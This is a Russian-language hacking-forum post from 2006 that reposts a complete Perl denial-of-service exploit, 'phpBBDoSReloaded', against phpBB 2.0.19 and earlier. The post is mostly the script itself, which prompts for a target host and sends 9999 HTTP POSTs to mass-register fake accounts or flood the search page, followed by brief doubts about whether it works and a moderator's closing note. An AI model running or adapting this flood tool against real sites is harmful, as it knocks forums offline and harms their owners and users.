Показать сообщение отдельно

Уязвимость пхпбб 2.0.19
  #1  
Старый 26.01.2006, 16:34
syntacsis
Участник форума
Регистрация: 14.11.2005
Сообщений: 146
Провел на форуме:
981128

Репутация: 43
По умолчанию Уязвимость пхпбб 2.0.19

Neo Security Team выложила новый сплоит для пхпбб 2.0.19 и более ранних версий. Сплоит по сообщению разработчика (автор - HaCkZaTaN) регит неограниченное количество ников или делает через поиск запросы которые база не может воспринять. Это должно привести к серьезному сбою и прекращению работы форума.

Код:
#!/usr/bin/perl 
####################################### 
##   Recoded by: mix2mix and Elioni of http://ahg-khf.org
##   And h4cky0u Security Forums (http://h4cky0u.org) 
##   Name: phpBBDoSReloaded
##   Original Author: HaCkZaTaN of Neo Security Team 
##   Tested on phpBB 2.0.19 and earlier versions
##   Ported to perl by g30rg3_x
##   Date: 25/01/06
####################################### 
use IO::Socket; 

## Initialized X 
$x = 0; 

print q(
  phpBBDosReloaded - Originally NsT-phpBB DoS by HaCkZaTaN
  Recoded by Albanian Hackers Group &
  h4cky0u Security Forums	

); 
print q(Host |without-> http://www.| ); 
$host = <STDIN>; 
chop ($host); 

print q(Path |example-> /phpBB2/ or /| ); 
$pth = <STDIN>; 
chop ($pth); 

print q(Flood Type |1 = If Visual Confirmation is disabled, 2 = If Visual Confirmation is enabled| ); 
$type = <STDIN>; 
chop ($type); 

## Tipi pлr regjistrim 
if($type == 1){ 

## User Loop for 9999 loops (enough for Flood xDDDD) 
while($x != 9999) 
{ 

## Antari qл regjistrohet automatikishtл "X" 
$uname = "username=AHG__" . "$x"; 

## Emaili qл regjistrohet ne bazлn "X" 
$umail = "&email=AHG__" . "$x"; 

$postit = "$uname"."$umail"."%40ahg-crew.org&new_password=0123456&password_confirm=0123456&icq=&aim=N%2FA&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=2&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit"; 

$lrg = length $postit; 

my $sock = new IO::Socket::INET ( 
                                 PeerAddr => "$host", 
                                 PeerPort => "80", 
                                 Proto => "tcp", 
                                ); 
die "\nNuk mundem te lidhemi me hostin sepse лsht dosirat ose nuk egziston: $!\n" unless $sock; 

## Sending Truth Socket The HTTP Commands For Register a User in phpBB Forums 
print $sock "POST $pth"."profile.php HTTP/1.1\n"; 
print $sock "Host: $host\n"; 
print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n"; 
print $sock "Referer: $host\n"; 
print $sock "Accept-Language: en-us\n"; 
print $sock "Content-Type: application/x-www-form-urlencoded\n"; 
print $sock "Accept-Encoding: gzip, deflate\n"; 
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n"; 
print $sock "Connection: Keep-Alive\n"; 
print $sock "Cache-Control: no-cache\n"; 
print $sock "Content-Length: $lrg\n\n"; 
print $sock "$postit\n"; 
close($sock); 

## Print a "+" for every loop 
syswrite STDOUT, "+"; 

$x++; 
} 

## Tipi 2-shл pлr Kлrkim(Flood) 
} 
elsif ($type == 2){ 

while($x != 9999) 
{ 
## Final Search String to Send 
$postit = "search_keywords=Albanian+Hackers+Group+Proof+of+Concept+$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=msgonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200"; 

## Posit Length 
$lrg = length $postit; 

## Connect Socket with Variables Provided By User 
my $sock = new IO::Socket::INET ( 
                                 PeerAddr => "$host", 
                                 PeerPort => "80", 
                                 Proto => "tcp", 
                                ); 
die "\nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!\n" unless $sock; 

## Sending Truth Socket The HTTP Commands For Send A BD Search Into phpBB Forums 
print $sock "POST $pth"."search.php?mode=results HTTP/1.1\n"; 
print $sock "Host: $host\n"; 
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n"; 
print $sock "Referer: $host\n"; 
print $sock "Accept-Language: en-us\n"; 
print $sock "Content-Type: application/x-www-form-urlencoded\n"; 
print $sock "Accept-Encoding: gzip, deflate\n"; 
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n"; 
print $sock "Connection: Keep-Alive\n"; 
print $sock "Cache-Control: no-cache\n"; 
print $sock "Content-Length: $lrg\n\n"; 
print $sock "$postit\n"; 
close($sock); 

## Print a "+" for every loop 
syswrite STDOUT, "+"; 

## Increment X in One for every Loop 
$x++; 
} 
}else{ 
## STF??? Qfarл keni Shtypur 
   die "Mundлsia nuk Lejohet +_-???\n"; 
}
Не знаю, где он будет работать и рабочий ли он вообще. Точно можно сказать, что сплойт бессилен там, где надо вводить код (визуальное подтверждение) при регистрации, а поиск защищен одним из многочисленных модов, не ставить которые еще несколько версий назад считалось довольно опасно.
В общем, если он и работает, то рассчитан только на те форумы, где админы не особенно серьезно следят за безопасностью.

------------------------------------------------------------------

Grey: тема закрыта, все сообщения не имеющие информационной ценности удалены, ссылка на тему добавлена в тему [Обзор уязвимостей phpBB].

Последний раз редактировалось Grey; 02.03.2007 в 19:58..